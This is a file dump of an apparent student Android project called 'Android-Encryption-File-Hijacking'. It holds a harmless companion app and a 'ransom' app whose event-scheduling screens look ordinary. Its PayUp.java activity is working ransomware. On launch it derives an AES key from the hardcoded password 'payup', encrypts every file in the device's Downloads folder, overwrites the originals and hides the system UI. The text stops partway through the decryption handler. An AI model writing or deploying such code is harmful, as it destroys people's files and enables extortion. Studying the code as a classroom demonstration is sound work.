https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/benign/app/src/main/res/mipmap-mdpi/ic_launcher.png
--------------------------------------------------------------------------------
/benign/app/src/main/res/mipmap-mdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/benign/app/src/main/res/mipmap-mdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/benign/app/src/main/res/mipmap-xhdpi/ic_benign_icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/benign/app/src/main/res/mipmap-xhdpi/ic_benign_icon.png
--------------------------------------------------------------------------------
/benign/app/src/main/res/mipmap-xhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/benign/app/src/main/res/mipmap-xhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/benign/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/benign/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/benign/app/src/main/res/mipmap-xxhdpi/ic_benign_icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/benign/app/src/main/res/mipmap-xxhdpi/ic_benign_icon.png
--------------------------------------------------------------------------------
/benign/app/src/main/res/mipmap-xxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/benign/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/benign/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/benign/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/benign/app/src/main/res/mipmap-xxxhdpi/ic_benign_icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/benign/app/src/main/res/mipmap-xxxhdpi/ic_benign_icon.png
--------------------------------------------------------------------------------
/benign/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/benign/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/benign/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/benign/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/benign/app/src/main/res/values/colors.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | #3F51B5
4 | #303F9F
5 | #FF4081
6 |
7 |
--------------------------------------------------------------------------------
/benign/app/src/main/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 | EECS448Project1
3 |
4 |
--------------------------------------------------------------------------------
/benign/app/src/main/res/values/styles.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/benign/app/src/test/java/wubbalubbadubdub/benignhw1/ExampleUnitTest.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.benignhw1;
2 |
3 | import org.junit.Test;
4 |
5 | import static org.junit.Assert.*;
6 |
7 | /**
8 | * Example local unit test, which will execute on the development machine (host).
9 | *
10 | * @see Testing documentation
11 | */
12 | public class ExampleUnitTest {
13 | @Test
14 | public void addition_isCorrect() throws Exception {
15 | assertEquals(4, 2 + 2);
16 | }
17 | }
--------------------------------------------------------------------------------
/ransom/app/src/androidTest/java/wubbalubbadubdub/hw1700ransomware/ExampleInstrumentedTest.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.hw1700ransomware;
2 |
3 | import android.content.Context;
4 | import android.support.test.InstrumentationRegistry;
5 | import android.support.test.runner.AndroidJUnit4;
6 |
7 | import org.junit.Test;
8 | import org.junit.runner.RunWith;
9 |
10 | import static org.junit.Assert.*;
11 |
12 | /**
13 | * Instrumentation test, which will execute on an Android device.
14 | *
15 | * @see Testing documentation
16 | */
17 | @RunWith(AndroidJUnit4.class)
18 | public class ExampleInstrumentedTest {
19 | @Test
20 | public void useAppContext() throws Exception {
21 | // Context of the app under test.
22 | Context appContext = InstrumentationRegistry.getTargetContext();
23 |
24 | assertEquals("wubbalubbadubdub.eecs448project1", appContext.getPackageName());
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/ransom/app/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
6 |
7 |
8 |
9 |
16 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
28 |
31 |
34 |
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ransom/app/src/main/java/wubbalubbadubdub/hw1700ransomware/AddEventActivity.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.hw1700ransomware;
2 |
3 | import android.app.Activity;
4 | import android.content.Intent;
5 | import android.os.Bundle;
6 | import android.util.TypedValue;
7 | import android.view.View;
8 | import android.widget.Button;
9 | import android.widget.EditText;
10 | import android.widget.TableLayout;
11 | import android.widget.TableRow;
12 | import android.widget.TextView;
13 | import android.graphics.Color;
14 | import android.widget.DatePicker;
15 | import android.widget.DatePicker.OnDateChangedListener;
16 | import android.widget.Toast;
17 |
18 |
19 | import java.util.ArrayList;
20 | import java.util.Calendar;
21 | import java.util.List;
22 |
23 |
24 | import wubbalubbadubdub.hw1700ransomware.data.DatabaseHelper;
25 | import wubbalubbadubdub.hw1700ransomware.data.Event;
26 | import wubbalubbadubdub.hw1700ransomware.data.HelperMethods; //For toTime() method
27 |
28 | /**
29 | * AddEventActivity.java
30 | * @author Dustin, Damian, Lane
31 | * @version 1.1
32 | * This Class allows the user to create an event and select timeslots for the event created
33 | */
34 | public class AddEventActivity extends Activity {
35 |
36 | private DatabaseHelper dbHelper;
37 | private Toast statusMessage;
38 |
39 | private String currentUser;
40 | private List selectedTimeslots;
41 | private boolean format = false; //Time format: false=12h | true=24h
42 |
43 | //Color Variables - Material Design
44 | int BLUE_MAT = Color.rgb(2,136,209);
45 | int GREEN_MAT = Color.rgb(139,195,74);
46 |
47 | /**
48 | * Method called when the activity is first created. Lots of formatting done.
49 | * @param savedInstanceState Unused Bundle object. Usually used if the app is killed then we can resume
50 | */
51 | @Override
52 | protected void onCreate(Bundle savedInstanceState) {
53 | super.onCreate(savedInstanceState);
54 | setContentView(R.layout.activity_add_event);
55 |
56 | dbHelper = new DatabaseHelper(getApplicationContext());
57 | statusMessage = Toast.makeText(this, "", Toast.LENGTH_SHORT);
58 |
59 | Intent intent = getIntent();
60 | currentUser = intent.getStringExtra("currentUser");
61 |
62 | TextView welcome = (TextView) findViewById(R.id.tvWelcome);
63 | welcome.setText(currentUser + ", create your event");
64 | selectedTimeslots = new ArrayList<>();
65 |
66 | createTimeslotTable();
67 |
68 | //Set Date Picker to current date, datePicker constraints etc.
69 | int[] date = HelperMethods.getCurrentDate();
70 | DatePicker datePicker = (DatePicker) findViewById(R.id.datePicker);
71 | int month = date[0];
72 | int day = date[1];
73 | int year = date[2];
74 |
75 | //Now set the default date to today thru this init method I found
76 | datePicker.init(year, month, day, new OnDateChangedListener() {
77 | @Override
78 | public void onDateChanged(DatePicker dp, int y, int m, int d) {
79 | //clearTimeslotTable(); ENABLE TO RESET TIMESLOTS UPON DATE SWITCH
80 | }
81 | });
82 |
83 | datePicker.setMinDate(System.currentTimeMillis() - 1000);
84 | Calendar max = Calendar.getInstance();
85 | max.set(Calendar.YEAR, 2100);
86 |
87 | datePicker.setMaxDate((max.getTime()).getTime());
88 |
89 |
90 | }
91 |
92 | /**
93 | * This function will create the table of buttons to select an event's timeframe
94 | */
95 | private void createTimeslotTable() {
96 | TableLayout layout = (TableLayout) findViewById(R.id.tbLayout);
97 |
98 | int count = 0;
99 | for (int i = 0; i < 4; i++) {
100 | TableRow tr = new TableRow(this);
101 | for (int j = 0; j < 12; j++) {
102 | final int current = count;
103 | Button b = new Button(this);
104 | b.setText(HelperMethods.toTime(count,format));
105 | b.setTextSize(TypedValue.COMPLEX_UNIT_DIP, 15);
106 | b.setTransformationMethod(null);
107 | TableRow.LayoutParams cellParams = new TableRow.LayoutParams();
108 | cellParams.rightMargin = 5;
109 | b.setLayoutParams(cellParams);
110 | b.setBackgroundColor(GREEN_MAT);
111 | b.setOnClickListener(new Button.OnClickListener() {
112 | int id = current;
113 | boolean selected = false;
114 |
115 | @Override
116 | public void onClick(View v) {
117 | Button obj = (Button) v;
118 | if (selected) {
119 | obj.setBackgroundColor(GREEN_MAT);
120 | selectedTimeslots.remove(Integer.valueOf(id));
121 | } else {
122 | obj.setBackgroundColor(BLUE_MAT);
123 | selectedTimeslots.add(id);
124 | }
125 | selected = !selected;
126 | updateTimeDisplay();
127 | }
128 | });
129 | tr.addView(b);
130 | count++;
131 | }
132 | TableLayout.LayoutParams tableRowParams = new TableLayout.LayoutParams(TableLayout.LayoutParams.MATCH_PARENT,TableLayout.LayoutParams.WRAP_CONTENT);
133 |
134 | tableRowParams.setMargins(10, 2, 10, 2);
135 |
136 | tr.setLayoutParams(tableRowParams);
137 |
138 |
139 | layout.addView(tr, tableRowParams);
140 | }
141 | }
142 |
143 | /**
144 | * clear timeslot table - originally wrote for onDateChangedListener, realized it's probably
145 | * unnecessary but keeping it in case we want it for anything else, e.g. a 'clear times' button
146 | */
147 | private void clearTimeslotTable() {
148 |
149 | selectedTimeslots.clear();
150 |
151 | TableLayout tableLayout = (TableLayout) findViewById(R.id.tbLayout);
152 | int count = 0;
153 | for (int i = 0; i < 4; i++) {
154 | TableRow row = (TableRow)tableLayout.getChildAt(i);
155 | for (int j = 0; j < 12; j++) {
156 | Button b = (Button) row.getChildAt(j);
157 | b.setBackgroundColor(GREEN_MAT);
158 | count++;
159 | }
160 | }
161 | updateTimeDisplay();
162 |
163 | }
164 |
165 | /**
166 | * This function is called when the 12h/24h toggle button is pressed
167 | * @param v View of the pressed button
168 | */
169 | public void toggleFormat(View v) {
170 | TableLayout tableLayout = (TableLayout) findViewById(R.id.tbLayout);
171 |
172 | format = !format;
173 |
174 | int count = 0;
175 | for (int i = 0; i < 4; i++) {
176 | TableRow row = (TableRow)tableLayout.getChildAt(i);
177 | for (int j = 0; j < 12; j++) {
178 | Button b = (Button) row.getChildAt(j);
179 | b.setText(HelperMethods.toTime(count, format));
180 | count++;
181 | }
182 | }
183 | updateTimeDisplay();
184 |
185 | }
186 |
187 | /**
188 | * Updates the Selected timeframe for the event
189 | */
190 | private void updateTimeDisplay() {
191 | TextView timeDisplay = (TextView) findViewById(R.id.tvSelectedTimes);
192 |
193 | String disp = "Event Timeframe: " + HelperMethods.getTimeString(selectedTimeslots, format);
194 |
195 | if (selectedTimeslots.isEmpty()) disp = "PLEASE SELECT TIMES";
196 |
197 | timeDisplay.setText(disp);
198 | }
199 |
200 | /**
201 | * Verifies that the Event is valid before attempting to insert to the database
202 | * @param e Event object of the event to be created.
203 | * @return True if valid, false otherwise
204 | */
205 | boolean verify(Event e) {
206 |
207 | //Dates should have no way of being invalid
208 |
209 | //Name verification
210 | if (e.getName().isEmpty()) {
211 | statusMessage.setText("ERROR: Please name your event!");
212 | return false;
213 | }
214 |
215 | //Timeslot verification
216 | if (e.getTimeslots().isEmpty()) {
217 | statusMessage.setText("ERROR: Please choose times for your event!");
218 | return false;
219 | }
220 |
221 | //Check if user is already signed up for any conflicting events
222 | /*pseudo: if intersection of (currentuser.signups.timeslots) list with (e.timeslots) list
223 | * is nonempty, -> conflict found, return false*/
224 |
225 | return true;
226 | }
227 |
228 | /**
229 | * onSaveButtonClick() - Handles Save button - creates event object, verifies, and adds event
230 | * @param v View of the button that was pressed
231 | */
232 | public void onSaveButtonClick(View v) {
233 |
234 | //Build date string for event
235 | DatePicker datePicker = (DatePicker) findViewById(R.id.datePicker);
236 | int month = datePicker.getMonth() + 1;
237 | int day = datePicker.getDayOfMonth();
238 | int year = datePicker.getYear();
239 | String date = HelperMethods.dateToString(month, day, year);
240 |
241 | //Get name of event
242 | EditText nameText = (EditText) findViewById(R.id.textName);
243 | String name = nameText.getText().toString();
244 |
245 | //Stringify timeslot list in int format for storage in db
246 | String timeslotIntList = HelperMethods.stringifyTimeslotInts(selectedTimeslots);
247 |
248 | //Create an event, attempt to verify it, and send to db if all is well
249 | /*Event ID is set to -1 because it's useless until a real ID is assigned
250 | *by the primary key upon insertion to the database after successful verification.*/
251 | Event e = new Event(-1, date, name, currentUser, timeslotIntList);
252 |
253 | if (verify(e)){
254 |
255 | //Add event and automatically sign creator up for duration of event
256 | int eventID = dbHelper.addEvent(e);
257 | dbHelper.addSignup(eventID, currentUser, selectedTimeslots);
258 |
259 | statusMessage.setText("Your event has been created.");
260 | statusMessage.show();
261 | Intent intent = new Intent(getApplicationContext(), ListActivity.class);
262 | intent.putExtra("currentUser", currentUser);
263 | finish();
264 | startActivity(intent);
265 |
266 | }else statusMessage.show();
267 | }
268 |
269 |
270 | }
271 |
--------------------------------------------------------------------------------
/ransom/app/src/main/java/wubbalubbadubdub/hw1700ransomware/ListActivity.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.hw1700ransomware;
2 |
3 | import android.app.Activity;
4 | import android.content.Intent;
5 | import android.graphics.Color;
6 | import android.graphics.Typeface;
7 | import android.os.Bundle;
8 | import android.view.View;
9 | import android.view.ViewGroup;
10 | import android.widget.TableLayout;
11 | import android.widget.TableRow;
12 | import android.widget.TextView;
13 |
14 | import java.util.ArrayList;
15 | import java.util.Collections;
16 |
17 | import wubbalubbadubdub.hw1700ransomware.data.DatabaseHelper;
18 | import wubbalubbadubdub.hw1700ransomware.data.Event;
19 | import wubbalubbadubdub.hw1700ransomware.data.HelperMethods;
20 |
21 | /**
22 | * This page list all the activities created by other users.
23 | * Also this page allows the user to add an event which brings them to the AddEvent page
24 | * @author Dustin, Lane, Damian
25 | * @version 1.0
26 | */
27 | public class ListActivity extends Activity {
28 |
29 | private DatabaseHelper dbHelper;
30 | private String currentUser;
31 | private boolean format = false; //Time formatting boolean
32 |
33 | final int DARK_CYAN = Color.rgb(0, 151, 167);
34 | final int BLUE_MAT = Color.rgb(2,136,209); //For dolling up the event titles
35 | final int LIGHT_BG = Color.rgb(201, 221, 255);
36 | final int DARK_BG = Color.rgb(153, 192, 255);
37 |
38 | private boolean allEvents = true; //Determines whether to show all events or own events
39 |
40 | @Override
41 | protected void onCreate(Bundle savedInstanceState) {
42 |
43 | super.onCreate(savedInstanceState);
44 | setContentView(R.layout.activity_list);
45 |
46 | dbHelper = new DatabaseHelper(getApplicationContext());
47 |
48 | Intent intent = getIntent();
49 | currentUser = intent.getStringExtra("currentUser");
50 | TextView welcomeText = (TextView) findViewById(R.id.tvWelcome);
51 | welcomeText.setText("Hello " + currentUser + "!");
52 |
53 | populateEventTable();
54 |
55 | }
56 |
57 | /**
58 | * Handles All Events toggle button
59 | * @param v - (Given view)
60 | */
61 | public void toggleEventList(View v) {
62 | allEvents = !allEvents;
63 | populateEventTable();
64 | }
65 |
66 | /**
67 | * Toggles time formatting in table
68 | * @param v - (Given view)
69 | */
70 | public void toggleFormat(View v) {
71 | format = !format;
72 | populateEventTable();
73 | }
74 |
75 | /**
76 | * Populates event table
77 | */
78 | private void populateEventTable() {
79 | TableLayout layout = (TableLayout) findViewById(R.id.eventTableLayout);
80 | TableLayout.LayoutParams tableRowParams = new TableLayout.LayoutParams(TableLayout.LayoutParams.MATCH_PARENT,TableLayout.LayoutParams.WRAP_CONTENT);
81 |
82 | //Clears the table before (re)populating
83 | for (int i = 0; i < layout.getChildCount(); i++) {
84 | View row = layout.getChildAt(i);
85 | if (row instanceof TableRow) ((ViewGroup) row).removeAllViews();
86 | layout.removeAllViews();
87 | }
88 |
89 | tableRowParams.setMargins(10, 2, 10, 2);
90 | ArrayList events = (allEvents) ? dbHelper.getAllEvents() : dbHelper.getUserEvents(currentUser);
91 | Collections.sort(events);
92 |
93 | int numberOfEvents = events.size();
94 | int rowBG = 1;
95 |
96 | //Title row creation
97 | TableRow titleRow = new TableRow(this);
98 | titleRow.setBackgroundColor(DARK_CYAN);
99 |
100 | TableRow.LayoutParams titleLayout = new TableRow.LayoutParams();
101 | titleLayout.setMargins(0, 10, 10, 15);
102 |
103 | TextView titleName = new TextView(this);
104 | TextView titleCreator = new TextView(this);
105 | TextView titleDay = new TextView(this);
106 | TextView titleTimeslots = new TextView(this);
107 |
108 | titleCreator.setLayoutParams(titleLayout);
109 | titleName.setLayoutParams(titleLayout);
110 | titleDay.setLayoutParams(titleLayout);
111 | titleTimeslots.setLayoutParams(titleLayout);
112 |
113 | titleName.setPadding(3, 10, 0, 10);
114 | titleCreator.setPadding(0, 10, 0, 10);
115 | titleDay.setPadding(0, 10, 0, 10);
116 | titleTimeslots.setPadding(0, 10, 0, 10);
117 |
118 | titleName.setText("Event Name");
119 | titleCreator.setText("Creator");
120 | titleDay.setText("Date");
121 | titleTimeslots.setText("Scheduled Times");
122 |
123 | titleName.setTextSize(18);
124 | titleCreator.setTextSize(18);
125 | titleDay.setTextSize(18);
126 | titleDay.setTextSize(18);
127 | titleTimeslots.setTextSize(18);
128 |
129 | titleName.setTypeface(null, Typeface.BOLD);
130 | titleCreator.setTypeface(null, Typeface.BOLD);
131 | titleDay.setTypeface(null, Typeface.BOLD);
132 | titleTimeslots.setTypeface(null, Typeface.BOLD);
133 |
134 | titleRow.addView(titleName);
135 | titleRow.addView(titleCreator);
136 | titleRow.addView(titleDay);
137 | titleRow.addView(titleTimeslots);
138 |
139 | layout.addView(titleRow, tableRowParams);
140 |
141 |
142 | //Generate rest of event rows
143 | for (int i = 0; i < numberOfEvents; i++) {
144 | TableRow row = new TableRow(this);
145 |
146 | row.setBackgroundColor((rowBG % 2 == 1) ? LIGHT_BG : DARK_BG);
147 |
148 | Event workingEvent = events.get(i);
149 |
150 | TableRow.LayoutParams tvLayout = new TableRow.LayoutParams();
151 | tvLayout.setMargins(0, 10, 10, 15);
152 |
153 | TextView eventName = new TextView(this);
154 | TextView eventCreator = new TextView(this);
155 | TextView eventDay = new TextView(this);
156 | TextView eventTimeslots = new TextView(this);
157 |
158 | eventName.setLayoutParams(tvLayout);
159 | eventCreator.setLayoutParams(tvLayout);
160 | eventDay.setLayoutParams(tvLayout);
161 | eventTimeslots.setLayoutParams(tvLayout);
162 |
163 | eventName.setPadding(3, 10, 0, 10);
164 | eventCreator.setPadding(0, 10, 0, 10);
165 | eventDay.setPadding(0, 10, 0, 10);
166 | eventTimeslots.setPadding(10, 10, 0, 10);
167 |
168 | eventName.setTextSize(20);
169 | eventName.setTypeface(null, Typeface.BOLD);
170 | eventName.setTextColor(BLUE_MAT);
171 | eventCreator.setTextSize(20);
172 | eventDay.setTextSize(20);
173 | eventTimeslots.setTextSize(20);
174 |
175 | //Prettier formatting, convert timeslots into timestring through series of parsing methods
176 | eventCreator.setText(workingEvent.getCreator());
177 | eventDay.setText(workingEvent.getDate());
178 | eventName.setText(workingEvent.getName());
179 | eventTimeslots.setText(HelperMethods.getTimeString(HelperMethods.listifyTimeslotInts(workingEvent.getTimeslots()), format));
180 |
181 | row.addView(eventName);
182 | row.addView(eventCreator);
183 | row.addView(eventDay);
184 | row.addView(eventTimeslots);
185 |
186 | row.setLayoutParams(tableRowParams);
187 |
188 | final int workingEventID = workingEvent.getID();
189 |
190 | row.setOnClickListener(new View.OnClickListener() {
191 | int id = workingEventID;
192 |
193 | @Override
194 | public void onClick(View view) {
195 | Intent intent = new Intent(getApplicationContext(), ViewActivity.class);
196 | intent.putExtra("currentUser", currentUser);
197 | intent.putExtra("eventID", id);
198 |
199 | startActivity(intent);
200 | }
201 | });
202 |
203 |
204 | layout.addView(row, tableRowParams);
205 | rowBG++;
206 |
207 | }
208 | }
209 |
210 | /**
211 | * Handles Add new Event button
212 | * @param v - (given view)
213 | */
214 | public void newEvent(View v) {
215 | Intent intent = new Intent(this, AddEventActivity.class);
216 | intent.putExtra("currentUser", currentUser);
217 | finish();
218 | startActivity(intent);
219 | }
220 |
221 |
222 | }
223 |
--------------------------------------------------------------------------------
/ransom/app/src/main/java/wubbalubbadubdub/hw1700ransomware/PayUp.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.hw1700ransomware;
2 |
3 | import android.annotation.SuppressLint;
4 | import android.app.ActionBar;
5 | import android.app.Activity;
6 | import android.os.Bundle;
7 | import android.os.Environment;
8 | import android.os.Handler;
9 | import android.view.MotionEvent;
10 | import android.view.View;
11 | import android.widget.Toast;
12 |
13 | import java.io.BufferedOutputStream;
14 | import java.io.File;
15 | import java.io.FileInputStream;
16 | import java.io.FileNotFoundException;
17 | import java.io.FileOutputStream;
18 | import java.io.IOException;
19 | import java.security.SecureRandom;
20 |
21 | import javax.crypto.Cipher;
22 | import javax.crypto.KeyGenerator;
23 | import javax.crypto.SecretKey;
24 | import javax.crypto.spec.SecretKeySpec;
25 |
26 | /**
27 | * An example full-screen activity that shows and hides the system UI (i.e.
28 | * status bar and navigation/system bar) with user interaction.
29 | */
30 | public class PayUp extends Activity {
31 | /**
32 | * Whether or not the system UI should be auto-hidden after
33 | * {@link #AUTO_HIDE_DELAY_MILLIS} milliseconds.
34 | */
35 | private static final boolean AUTO_HIDE = true;
36 |
37 | /**
38 | * If {@link #AUTO_HIDE} is set, the number of milliseconds to wait after
39 | * user interaction before hiding the system UI.
40 | */
41 | private static final int AUTO_HIDE_DELAY_MILLIS = 3000;
42 |
43 |
44 | private static byte[] ENCRYPTION_KEY;
45 |
46 | /**
47 | * Some older devices needs a small delay between UI widget updates
48 | * and a change of the status and navigation bar.
49 | */
50 | private static final int UI_ANIMATION_DELAY = 300;
51 | private final Handler mHideHandler = new Handler();
52 | private View mContentView;
53 | private final Runnable mHidePart2Runnable = new Runnable() {
54 | @SuppressLint("InlinedApi")
55 | @Override
56 | public void run() {
57 | // Delayed removal of status and navigation bar
58 |
59 | // Note that some of these constants are new as of API 16 (Jelly Bean)
60 | // and API 19 (KitKat). It is safe to use them, as they are inlined
61 | // at compile-time and do nothing on earlier devices.
62 | mContentView.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LOW_PROFILE
63 | | View.SYSTEM_UI_FLAG_FULLSCREEN
64 | | View.SYSTEM_UI_FLAG_LAYOUT_STABLE
65 | | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY
66 | | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION
67 | | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION);
68 | }
69 | };
70 | private View mControlsView;
71 | private final Runnable mShowPart2Runnable = new Runnable() {
72 | @Override
73 | public void run() {
74 | // Delayed display of UI elements
75 | ActionBar actionBar = getActionBar();
76 | // if (actionBar != null) {
77 | // actionBar.show();
78 | // }
79 | mControlsView.setVisibility(View.VISIBLE);
80 | }
81 | };
82 | private boolean mVisible;
83 | private final Runnable mHideRunnable = new Runnable() {
84 | @Override
85 | public void run() {
86 | hide();
87 | }
88 | };
89 | /**
90 | * Touch listener to use for in-layout UI controls to delay hiding the
91 | * system UI. This is to prevent the jarring behavior of controls going away
92 | * while interacting with activity UI.
93 | */
94 | private final View.OnTouchListener mDelayHideTouchListener = new View.OnTouchListener() {
95 | @Override
96 | public boolean onTouch(View view, MotionEvent motionEvent) {
97 | if (AUTO_HIDE) {
98 | delayedHide(AUTO_HIDE_DELAY_MILLIS);
99 | }
100 | return false;
101 | }
102 | };
103 |
104 | //Hides the System UI at the top
105 | public void hideSystemUI(){
106 | getWindow().getDecorView().setSystemUiVisibility(
107 | View.SYSTEM_UI_FLAG_LAYOUT_STABLE
108 | | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION
109 | | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
110 | | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION
111 | | View.SYSTEM_UI_FLAG_FULLSCREEN
112 | | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY);
113 | }
114 |
115 |
116 | //Generate a key from a password and seed. Used as the key for the encryption
117 | public byte[] generateKey(String password) throws Exception
118 | {
119 | byte[] keyStart = password.getBytes("UTF-8");
120 | //Generate a key for use with the encryption
121 | KeyGenerator kgen = KeyGenerator.getInstance("AES");
122 | SecureRandom sr = new SecureRandom();
123 | sr.setSeed(keyStart);
124 | kgen.init(128, sr);
125 | SecretKey skey = kgen.generateKey();
126 | ENCRYPTION_KEY = skey.getEncoded(); // Save the key for decoding later.
127 | return skey.getEncoded();
128 | }
129 |
130 | //Given a file, return an encrypted file.
131 | public byte[] encodeFile(byte[] key, byte[] fileData) throws Exception
132 | {
133 | //Get the cipher and provide it the key
134 | SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
135 | Cipher cipher = Cipher.getInstance("AES");
136 | cipher.init(Cipher.ENCRYPT_MODE, skeySpec);
137 |
138 | //Encrypt the file
139 | byte[] encrypted = cipher.doFinal(fileData);
140 |
141 | return encrypted;
142 | }
143 |
144 | //Given a file, return the decrypted version of it.
145 | public static byte[] decodeFile(byte[] key, byte[] fileData) throws Exception
146 | {
147 | //Get the cipher and provide it the key
148 | SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
149 | Cipher cipher = Cipher.getInstance("AES");
150 | cipher.init(Cipher.DECRYPT_MODE, skeySpec);
151 |
152 | //Decrypt the file
153 | byte[] decrypted = cipher.doFinal(fileData);
154 |
155 | return decrypted;
156 | }
157 |
158 | //Read in a file to a byte array given the file name
159 | public byte[] readFileToByteArray(File file) {
160 | FileInputStream infile = null;
161 | try {
162 | //Create the input stream and byte array
163 | infile = new FileInputStream(file);
164 | byte fileContent[] = new byte[(int)file.length()];
165 |
166 | //Read in the file
167 | infile.read(fileContent);
168 | return fileContent;
169 | }
170 | catch (FileNotFoundException e) { System.out.println("File does not exist: " + e); }
171 | catch (IOException ioe) { System.out.println("Error reading file: " + ioe); }
172 | finally {
173 | try { if (infile != null) infile.close(); }
174 | catch (IOException ioe) { System.out.println("Error closing stream: " + ioe); }
175 | }
176 | return null;
177 | }
178 |
179 |
180 | @Override
181 | protected void onCreate(Bundle savedInstanceState) {
182 | super.onCreate(savedInstanceState);
183 |
184 | setContentView(R.layout.activity_pay_up);
185 |
186 | mVisible = true;
187 | mControlsView = findViewById(R.id.fullscreen_content_controls);
188 | mContentView = findViewById(R.id.fullscreen_content);
189 |
190 |
191 | // Set up the user interaction to manually show or hide the system UI.
192 | mContentView.setOnClickListener(new View.OnClickListener() {
193 | @Override
194 | public void onClick(View view) {
195 | toggle();
196 | }
197 | });
198 |
199 | // Upon interacting with UI controls, delay any scheduled hide()
200 | // operations to prevent the jarring behavior of controls going away
201 | // while interacting with the UI.
202 | // findViewById(R.id.dummy_button).setOnTouchListener(mDelayHideTouchListener);
203 |
204 |
205 | /*************
206 | *
207 | * Here, we encrypt all of the files in the downloads folder.
208 | *
209 | **************/
210 |
211 | //Generate the Key
212 | byte[] key = null;
213 | try { key = generateKey("payup"); }
214 | catch (Exception e) {
215 | System.out.println("Could not generate the key.");
216 | return;
217 | }
218 |
219 | //Grab the downloads folder.
220 | String currentFileName = "";
221 | File downloadsFolder = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS).toString());
222 |
223 | //Loop through the files, encrypting each one.
224 | for (File f : downloadsFolder.listFiles()) {
225 | if (f.isFile()) {
226 | currentFileName = f.getName();
227 | File fileToEncrypt = new File(downloadsFolder, currentFileName);
228 |
229 | byte[] fileToEncrypt_bytes = readFileToByteArray(fileToEncrypt); //Read in the file
230 | try {
231 | byte[] encryptedFile = encodeFile(key, fileToEncrypt_bytes); //Encrypt the file
232 | BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(fileToEncrypt)); //Create output stream and overwrite the file.
233 | bos.write(encryptedFile);
234 | bos.flush();
235 | bos.close();
236 | }
237 | catch (FileNotFoundException e) { System.out.println("[BufferedOutputStream] Couldn't find the file!\n" + e); }
238 | catch (IOException e) { System.out.println("[IOException] Couldn't write the file!\n" + e); }
239 | catch (Exception e) { System.out.println("Couldn't encrypt the file!\n" + e); }
240 |
241 | }
242 | }
243 |
244 | }
245 |
246 | @Override
247 | protected void onPostCreate(Bundle savedInstanceState) {
248 | super.onPostCreate(savedInstanceState);
249 |
250 | // Trigger the initial hide() shortly after the activity has been
251 | // created, to briefly hint to the user that UI controls
252 | // are available.
253 | delayedHide(100);
254 | }
255 |
256 | public void onClickDecode(View v) {
257 |
258 | System.out.println("[DECODE] Decoding files...");
259 |
260 | Toast toast = Toast.makeText(getApplicationContext(), "Alright, decoding everything...", Toast.LENGTH_SHORT);
261 |
262 | toast.show();
263 |
264 | //Grab the downloads folder.
265 | String currentFileName = "";
